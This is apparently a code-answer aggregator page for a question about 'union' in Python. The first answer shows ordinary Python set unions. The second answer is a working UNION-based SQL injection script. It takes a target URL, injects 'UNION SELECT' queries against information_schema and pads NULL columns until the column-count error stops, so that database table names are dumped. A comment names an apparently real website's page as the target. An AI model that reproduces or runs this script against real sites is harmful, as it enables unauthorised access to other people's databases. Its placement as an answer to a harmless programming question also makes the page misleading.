Answers for "union and other function in python"

0

list union python

set1 = {2, 4, 5, 6}  
set2 = {4, 6, 7, 8}  
set3 = {7, 8, 9, 10} 
  
# union of two sets 
print("set1 U set2 : ", set1.union(set2)) 
  
# union of three sets 
print("set1 U set2 U set3 :", set1.union(set2, set3)) 


>>>

set1 U set2 :  {2, 4, 5, 6, 7, 8}
set1 U set2 U set3 : {2, 4, 5, 6, 7, 8, 9, 10}
Posted by: Guest on March-12-2020
0

python union query

# pip install requests
import requests

def main():
    # http://www.meggieschneider.com/php/detail.php?id=48
    url = input('Target: ')
    idx = 0
    while True:
        nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
        if idx > 0:
            nulls = ', ' + nulls
        req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
        print(f'''n
            {req}
            ''')
        r = requests.get(f'{url}?{req}')
        if 'The used SELECT statements have a different number of columns' not in str(r.content):
            print(f'''n
            {r.text}
            ''')
            break
        idx = idx + 1

if __name__ == '__main__':
    main()
Posted by: Guest on April-14-2020

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